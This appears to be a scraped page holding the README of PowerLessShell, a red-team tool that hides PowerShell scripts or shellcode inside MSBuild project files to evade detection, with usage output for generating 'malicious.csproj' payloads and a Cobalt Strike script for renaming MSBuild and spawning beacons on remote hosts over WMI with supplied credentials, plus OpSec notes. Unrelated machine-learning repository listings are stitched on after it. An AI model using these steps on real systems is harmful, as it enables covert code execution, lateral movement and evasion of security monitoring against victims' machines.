Run PowerShell command without invoking powershell.exe

Overview

PowerLessShell

PowerLessShell rely on MSBuild.exe to remotely execute PowerShell scripts and commands without spawning powershell.exe. You can also execute raw shellcode using the same approach.

MSBuild conditions

MSBuild support condition that can be used to avoid running code if the condition is not met.

<Target Name="x" Condition="'$(USERDOMAIN)'=='RingZer0'">

The malicious code will only be executed if the current user domain is "RingZer0"

Condition supports several other formats that can be used to create more conditional execution check.

<Target Name="x" Condition="'$(registry:HKEY_LOCAL_MACHINE\[email protected])'>='0'">

Property Functions also expose interesting data.

https://docs.microsoft.com/en-us/visualstudio/msbuild/property-functions

Usage

PowerLessShell use commandline argument to generate the final file.

$ python PowerLessShell.py -h
PowerLessShell Less is More
Mr.Un1k0d3r RingZer0 Team
-----------------------------------------------------------
usage: PowerLessShell.py [-h] [-type TYPE] -source SOURCE -output OUTPUT
                         [-arch ARCH] [-condition CONDITION]

optional arguments:
  -h, --help            show this help message and exit
  -type TYPE            Payload type (shellcode/powershell) default to:
                        shellcode
  -source SOURCE        Path to the source file (raw shellcode or powershell
                        script)
  -output OUTPUT        MSBuild output filename
  -arch ARCH            Shellcode architecture (32/64) default to: 32
  -condition CONDITION  XML Compiling condition default (Check for USERDOMAIN)
                        default is: none

Generating a powershell payload

$ python PowerLessShell.py -type powershell -source script.ps1 -output malicious.csproj
PowerLessShell Less is More
Mr.Un1k0d3r RingZer0 Team
-----------------------------------------------------------
Generating the msbuild file using include/template-powershell.csproj as the template
File 'malicious.csproj' created
Process completed

Generating a shellcode payload

$ python PowerLessShell.py -source shellcode.raw -output malicious.csproj
PowerLessShell Less is More
Mr.Un1k0d3r RingZer0 Team
-----------------------------------------------------------
Generating the msbuild file using include/template-shellcode.csproj as the template
File 'malicious.csproj' created
Process completed

Generating a 64 bits shellcode payload

$ python PowerLessShell.py -source shellcode64.raw -output malicious.csproj -arch 64
PowerLessShell Less is More
Mr.Un1k0d3r RingZer0 Team
-----------------------------------------------------------
Generating the msbuild file using include/template-shellcode.csproj as the template
Generating a payload for a 64 bits shellcode! Don't forget to use the 64 bits version of msbuild.exe
File 'malicious.csproj' created
Process completed

Cobalt Strike Aggressor script (wmi_msbuild.cna)

By Alyssa (ramen0x3f) and MrT-F

Set Up

  • Either copy PowerLessShell folder to [cobalts working dir]/PowerLessShell or make note of path
  • If you didn't copy it to the Cobalt directory: edit the $pls_path variable in this file to point to PowerLessShell
  • Load script into Cobalt Strike

Usage

check_msbuild -target TARGET   		Verify .NET 4.0.30319 is installed (should see "Status OK")
	[-user user] [-pass pass]		Windows 7 has .NET 4.0.30319 after 3 reboots and 4 Windows update cycles

rename_msbuild -target TARGET 		Copy MSBuild.exe. 
	-msbuild newname 
 	[-path C:\new\path] 		Default - C:\Users\Public\
	[-user domain\username]		Specifying user/pass spawns cmd on remote host.
 	[-pass password]			

wmi_msbuild -target TARGET 		 	Spawn new beacon. 
         -listener LISTENER
	[-payload new_file]		 	Default - [a-zA-Z].tmp
	[-directory new_dir]			Default - C:\Users\Public\
	[-msbuild alt_msbuild_location] 	
	[-user USERNAME] [-pass PASSWORD]	
	[-manualdelete]				Switch doesn't auto delete payload.

OpSec Notes

Spawns cmd.exe on the target system if

  • ManualDelete switch is not set
  • rename_msbuild is run with a username/password specified

Credit

Mr.Un1k0d3r RingZer0 Team 2017

Owner
Mr.Un1k0d3r
Mostly Red Team tools for penetration testing. My patreon https://patreon.com/MrUn1k0d3r
Mr.Un1k0d3r
This repo contains the source code and a benchmark for predicting user's utilities with Machine Learning techniques for Computational Persuasion

Machine Learning for Argument-Based Computational Persuasion This repo contains the source code and a benchmark for predicting user's utilities with M

Ivan Donadello 4 Nov 07, 2022
An efficient 3D semantic segmentation framework for Urban-scale point clouds like SensatUrban, Campus3D, etc.

An efficient 3D semantic segmentation framework for Urban-scale point clouds like SensatUrban, Campus3D, etc.

Zou 33 Jan 03, 2023
PyTorch Implementation of SSTNs for hyperspectral image classifications from the IEEE T-GRS paper "Spectral-Spatial Transformer Network for Hyperspectral Image Classification: A FAS Framework."

PyTorch Implementation of SSTN for Hyperspectral Image Classification Paper links: SSTN published on IEEE T-GRS. Also, you can directly find the imple

Zilong Zhong 54 Dec 19, 2022
Another pytorch implementation of FCN (Fully Convolutional Networks)

FCN-pytorch-easiest Trying to be the easiest FCN pytorch implementation and just in a get and use fashion Here I use a handbag semantic segmentation f

Y. Dong 158 Dec 21, 2022
STYLER: Style Factor Modeling with Rapidity and Robustness via Speech Decomposition for Expressive and Controllable Neural Text to Speech

STYLER: Style Factor Modeling with Rapidity and Robustness via Speech Decomposition for Expressive and Controllable Neural Text to Speech Keon Lee, Ky

Keon Lee 114 Dec 12, 2022
CPPE - 5 (Medical Personal Protective Equipment) is a new challenging object detection dataset

CPPE - 5 CPPE - 5 (Medical Personal Protective Equipment) is a new challenging dataset with the goal to allow the study of subordinate categorization

Rishit Dagli 53 Dec 17, 2022
Custom implementation of Corrleation Module

Pytorch Correlation module this is a custom C++/Cuda implementation of Correlation module, used e.g. in FlowNetC This tutorial was used as a basis for

Clément Pinard 361 Dec 12, 2022
Fast convergence of detr with spatially modulated co-attention

Fast convergence of detr with spatially modulated co-attention Usage There are no extra compiled components in SMCA DETR and package dependencies are

peng gao 135 Dec 07, 2022
an implementation of 3D Ken Burns Effect from a Single Image using PyTorch

3d-ken-burns This is a reference implementation of 3D Ken Burns Effect from a Single Image [1] using PyTorch. Given a single input image, it animates

Simon Niklaus 1.4k Dec 28, 2022
Demonstrates how to divide a DL model into multiple IR model files (division) and introduce a simplest way to implement a custom layer works with OpenVINO IR models.

Demonstration of OpenVINO techniques - Model-division and a simplest-way to support custom layers Description: Model Optimizer in Intel(r) OpenVINO(tm

Yasunori Shimura 12 Nov 09, 2022
GARCH and Multivariate LSTM forecasting models for Bitcoin realized volatility with potential applications in crypto options trading, hedging, portfolio management, and risk management

Bitcoin Realized Volatility Forecasting with GARCH and Multivariate LSTM Author: Chi Bui This Repository Repository Directory ├── README.md

Chi Bui 113 Dec 29, 2022
Tensorflow 2 implementations of the C-SimCLR and C-BYOL self-supervised visual representation methods from "Compressive Visual Representations" (NeurIPS 2021)

Compressive Visual Representations This repository contains the source code for our paper, Compressive Visual Representations. We developed informatio

Google Research 30 Nov 23, 2022
Enabling Lightweight Fine-tuning for Pre-trained Language Model Compression based on Matrix Product Operators

Enabling Lightweight Fine-tuning for Pre-trained Language Model Compression based on Matrix Product Operators This is our Pytorch implementation for t

RUCAIBox 12 Jul 22, 2022
SE-MSCNN: A Lightweight Multi-scaled Fusion Network for Sleep Apnea Detection Using Single-Lead ECG Signals

SE-MSCNN: A Lightweight Multi-scaled Fusion Network for Sleep Apnea Detection Using Single-Lead ECG Signals Abstract Sleep apnea (SA) is a common slee

9 Dec 21, 2022
A library of extension and helper modules for Python's data analysis and machine learning libraries.

Mlxtend (machine learning extensions) is a Python library of useful tools for the day-to-day data science tasks. Sebastian Raschka 2014-2020 Links Doc

Sebastian Raschka 4.2k Jan 02, 2023
Ian Covert 130 Jan 01, 2023
A pytorch &keras implementation and demo of Fastformer.

Fastformer Notes from the authors Pytorch/Keras implementation of Fastformer. The keras version only includes the core fastformer attention part. The

153 Dec 28, 2022
Unofficial implementation of Google's FNet: Mixing Tokens with Fourier Transforms

FNet: Mixing Tokens with Fourier Transforms Pytorch implementation of Fnet : Mixing Tokens with Fourier Transforms. Citation: @misc{leethorp2021fnet,

Rishikesh (ऋषिकेश) 218 Jan 05, 2023
Object Detection with YOLOv3

Object Detection with YOLOv3 Bu projede YOLOv3-608 modeli kullanılmıştır. Requirements Python 3.8 OpenCV Numpy Documentation Yolo ile ilgili detaylı b

Ayşe Konuş 0 Mar 27, 2022
Code accompanying the paper on "An Empirical Investigation of Domain Generalization with Empirical Risk Minimizers" published at NeurIPS, 2021

Code for "An Empirical Investigation of Domian Generalization with Empirical Risk Minimizers" (NeurIPS 2021) Motivation and Introduction Domain Genera

Meta Research 15 Dec 27, 2022